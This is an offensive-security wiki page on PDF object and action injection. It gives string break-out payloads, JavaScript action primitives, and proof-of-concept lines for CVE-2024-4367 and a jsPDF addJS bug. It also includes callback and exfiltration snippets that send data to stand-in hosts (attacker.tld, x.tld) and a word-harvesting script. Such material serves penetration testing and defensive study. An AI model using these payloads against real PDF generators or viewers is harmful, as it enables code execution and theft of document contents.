pdf-injection.md (11893B)
1 --- 2 title: "PDF Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/pdf-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PDF Injection 14 15 **If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript, perform SSRF or steal the PDF content.** 16 PDF syntax is extremely permissive: if you can break out of the string or dictionary that is embedding your input, you can often append new keys, actions, or even whole objects that Acrobat and browser viewers will still parse. 17 18 If you are targeting **HTML-to-PDF generators** or server-side PDF creation bugs, check the more specific pages about [HTML-to-PDF file reads](/hacktricks/pentesting-web/file-inclusion/overview#html-to-pdf-svgimg-path-traversal) and [ReportLab/xhtml2pdf RCE](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md). This page is focused on **PDF object / action injection in the generated document itself**. 19 20 ## TL;DR – Modern Attack Workflow (2024-2026) 21 1. Find any user-controlled value that lands inside a **PDF string** like `( ... )`, a `/URI ( ... )`, a `/JS ( ... )`, or a field / annotation dictionary. 22 2. Inject `)` (or another structure-breaking sequence) to close the original value, append your own **action dictionary** or **new object**, and reopen the original syntax if needed. 23 3. Deliver the malicious PDF to a victim, an internal reviewer, or a backend workflow that opens / previews PDFs. 24 4. Pivot depending on the viewer: 25 - **Acrobat / Reader** → richest JavaScript API surface (`submitForm`, `getPageNthWord`, form actions, etc.) 26 - **Chrome / Edge PDFium** → more limited, but still interesting for annotation / widget tricks and blind callbacks 27 - **Firefox / PDF.js** → classic `/JS (app.alert(1))` support is not equivalent to arbitrary JS; for real code exec think about **viewer bugs** such as **CVE-2024-4367** 28 29 Example (annotation link hijack): 30 ```text 31 (https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( 32 ``` 33 The first `)` closes the original URI string, then a new **Action** dictionary is injected. 34 35 ## Know Your Viewer First 36 A useful nuance when testing browser-based viewers: 37 38 - Seeing `app.alert(1)` only proves that the viewer executes some **embedded PDF JavaScript / actions**. 39 - It **doesn't automatically mean arbitrary DOM JavaScript execution** in the surrounding web origin. 40 - In **PDF.js**, the dangerous 2024 bug was not regular `/JS`, but **FontMatrix-controlled code generation** inside the glyph renderer. 41 - In **commercial browser SDKs**, the interesting bugs are often in their **Acrobat-JS emulation layer**, `eval`-based sandboxes, or unsafe bridging into the hosting page / Electron container. 42 43 So during triage, distinguish between: 44 45 1. **PDF feature support** (`app.alert`, `submitForm`, `/OpenAction`, `/AA`) 46 2. **PDF object injection** (breaking out of a reflected string / dictionary) 47 3. **Viewer vulnerability** (e.g. PDF.js `FontMatrix` injection) 48 4. **Origin escalation** (turning PDF JS into a real XSS / Electron RCE primitive) 49 50 ## Useful Injection Primitives 51 | Goal | Payload Snippet | Notes | 52 |------|-----------------|-------| 53 | **JavaScript on open** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Good for Acrobat / Reader testing. | 54 | **JavaScript on click** | `/A << /S /JavaScript /JS (app.alert(1)) >>` | Useful when you control an annotation or link action. | 55 | **Additional actions** | `/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>` | `/O` = open/focus-style action, `/E` = mouse-enter, etc. | 56 | **Blind callback** | `/A << /S /URI /URI (https://attacker.tld/) >>` | Basic out-of-band reachability check. | 57 | **Blind SSRF / POST** | Inject a widget/text field and call `this.submitForm(...)` | Stronger than a simple `/URI` because you can send field values. | 58 | **Content theft** | `for (...) this.getPageNthWord(...)` | Especially useful in Acrobat and in PortSwigger's PDFium research chain. | 59 | **New object injection** | `\nendobj\n10 0 obj\n<< ... >>\nendobj` | Works if the generator lets you inject raw line breaks. | 60 61 ## Embedded Actions as Injection Targets 62 PDF viewers treat **embedded actions** such as `/OpenAction` and `/AA` (Additional Actions) as first-class features. If you can inject into a dictionary that accepts actions (Catalog, Page, Annotation, Widget, or Form field), you can often graft an action tree and trigger code on open, click, hover, or focus. 63 64 Example payload for **dictionary break-out**: 65 ```text 66 ) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> ( 67 ``` 68 69 This is especially relevant when a PDF library stores attacker-controlled data in `/URI`, `/JS`, annotation author fields, form values, or helper methods such as `addJS(...)`. 70 71 ## High-Value Injection Targets 72 When you reverse the generated PDF, prioritise these locations: 73 74 - **Link annotations**: `/Subtype /Link`, `/A`, `/URI` 75 - **Widget annotations / AcroForm**: `/Subtype /Widget`, `/AA`, `/FT /Btn`, `/FT /Tx` 76 - **Catalog-level actions**: `/OpenAction`, `/Names`, `/JavaScript` 77 - **Text / metadata fields** that later become annotation names or popup contents 78 - **Library helper APIs** that emit raw PDF strings, for example `createAnnotation(...)`, `addJS(...)`, or direct dictionary setters 79 80 A lot of modern wins still start from the same primitive: **one unescaped `(`, `)`, or `\` inside a PDF string**. 81 82 ## Recon & Triage Workflow 83 If you can download the generated PDF, don't guess: inspect it. 84 85 ```bash 86 # Make the structure easier to read 87 qpdf --qdf --object-streams=disable victim.pdf readable.pdf 88 89 # Quick keyword hunt 90 pdfid.py readable.pdf 91 pdf-parser.py -search "/JS" -search "/AA" -search "/OpenAction" readable.pdf 92 93 # Fast grep when you only need the reflected sink 94 rg -n '/URI|/JS|/AA|/OpenAction|/Subtype /Link|/Subtype /Widget' readable.pdf 95 ``` 96 97 For a broader PDF reversing workflow, check: 98 99 [Pdf File Analysis](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md) 100 101 ## Practical Exploitation Patterns 102 ### 1. Link / URI break-out 103 Classic case: your input lands in `/URI (...)`. 104 105 ```text 106 ) /A << /S /JavaScript /JS (app.alert(1)) >> ( 107 ``` 108 109 If the application only validates the visible URL but not the raw PDF string escaping, you can replace a harmless link with a JavaScript action or a new `/URI` pointing to your server. 110 111 ### 2. Widget / AcroForm upgrade 112 PortSwigger's research showed that turning an annotation into a **Widget** with a fake parent field is often the key to making JavaScript execute in browser viewers that otherwise seem too restricted.<sup>[[1]](#references)</sup> 113 114 ```text 115 #)>> << /Type /Annot /Rect [0 0 900 900] /Subtype /Widget 116 /Parent << /FT /Btn /T(a) >> 117 /A << /S /JavaScript /JS (app.alert(1)) >> 118 ``` 119 120 This pattern is much more useful than a naive `/JS (app.alert(1))` pasted into random places. 121 122 ### 3. Mouse-enter / hover execution 123 If click interaction is a problem, try an **Additional Action** on mouse enter: 124 125 ```text 126 /AA << /E << /S /JavaScript /JS (app.alert(1)) >> >> 127 ``` 128 129 This is mainly useful for proving code execution or building staged chains. In PDFium, hover-triggered JS is easier than full exfil because outbound submission still depends on what APIs the viewer exposes. 130 131 ### 4. Blind document exfiltration 132 If you already have JavaScript execution inside the PDF runtime, enumerate words and leak them out: 133 134 ```javascript 135 words = []; 136 for (page = 0; page < this.numPages; page++) { 137 for (wordPos = 0; wordPos < this.getPageNumWords(page); wordPos++) { 138 words.push(this.getPageNthWord(page, wordPos, true)); 139 } 140 } 141 ``` 142 143 On Acrobat this becomes powerful when combined with `submitForm(...)`. On Chrome/PDFium, PortSwigger showed that `getPageNthWord(...)` can still be abused after the right annotation/widget trick.<sup>[[1]](#references)</sup> 144 145 ## Blind Enumeration Trick 146 When you don't know which objects / methods are available in the current viewer, enumerate the document object and look for useful sinks: 147 148 ```text 149 ) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( 150 ``` 151 152 This is noisy, but great in blind scenarios where you only get out-of-band callbacks. 153 154 ## Real-World Bugs Worth Remembering 155 ### CVE-2024-4367 – PDF.js `FontMatrix` injection 156 This one is important because it is **not** classic PDF `/JS` support. Vulnerable PDF.js versions generated JavaScript code with `new Function(...)` while assuming `FontMatrix` only contained numbers. A crafted **Type1** font object could inject a string into `c.transform(...)` and achieve arbitrary JavaScript execution in the PDF.js context.<sup>[[2]](#references)</sup> 157 158 Minimal idea: 159 ```text 160 /FontMatrix [1 2 3 4 5 (0\); alert\('pwned')] 161 ``` 162 163 Notes: 164 - Relevant for **Firefox < 126**, **Firefox ESR < 115.11**, and **pdfjs-dist <= 4.1.392**. 165 - If PDF.js is embedded in a web app, this becomes a **stored XSS on that origin**. 166 - Setting `isEvalSupported = false` blocks the vulnerable path on unpatched deployments. 167 168 ### CVE-2026-25755 – jsPDF `addJS()` PDF object injection 169 A newer example showing that helper APIs are still dangerous: vulnerable `jsPDF.addJS()` versions wrapped attacker-controlled JavaScript directly inside `/JS ( ... )` without escaping parentheses correctly.<sup>[[3]](#references)</sup> 170 171 ```javascript 172 const doc = new jsPDF(); 173 doc.addJS("console.log('x');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked')) >> >>"); 174 ``` 175 176 This is a great reminder to review **library convenience methods**, not just annotations and links. 177 178 ## Testing Corpus / Tooling 179 If you want ready-made payloads instead of hand-editing PDFs every time, keep a small corpus around: 180 181 - **PortSwigger's `portable-data-exfiltration` samples**: excellent for Acrobat / PDFium annotation, widget, exfiltration, and SSRF chains.<sup>[[1]](#references)</sup> 182 - **`PayloadsAllThePDFs`**: practical payload zoo for testing browser viewers, commercial SDKs, and PDF.js-specific cases like `FontMatrix`. 183 - **`malicious-pdf`**: generates multiple PDF test cases for callbacks, content theft, hover actions, and viewer-specific behaviors. 184 185 This is especially handy when you are dealing with a black-box upload / preview workflow and need to quickly answer: 186 - Does the platform execute embedded JS at all? 187 - Is it just `app.alert(1)` support, or real origin-level JS? 188 - Are `/URI`, `/AA`, widget upgrades, or `FontMatrix` payloads reachable? 189 190 ## Brief Defensive Notes 191 From the attacker side, the fixes to look for are predictable: 192 193 1. Escaping `\`, `(` and `)` before placing user input inside PDF strings. 194 2. Using **hex strings** (`<...>`) instead of raw `( ... )` strings for untrusted data. 195 3. Stripping `/OpenAction`, `/AA`, `/Launch`, `/SubmitForm`, and document-level `/JavaScript` names when sanitizing PDFs. 196 4. Updating vulnerable viewers/libraries such as **PDF.js** and **jsPDF**. 197 198 ## References 199 200 - [1] [Gareth Heyes, "Portable Data exFiltration: XSS for PDFs"](https://portswigger.net/research/portable-data-exfiltration) 201 - [2] [Thomas Rinsma, "CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js"](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/) 202 - [3] [NVD, "CVE-2026-25755 Detail"](https://nvd.nist.gov/vuln/detail/CVE-2026-25755)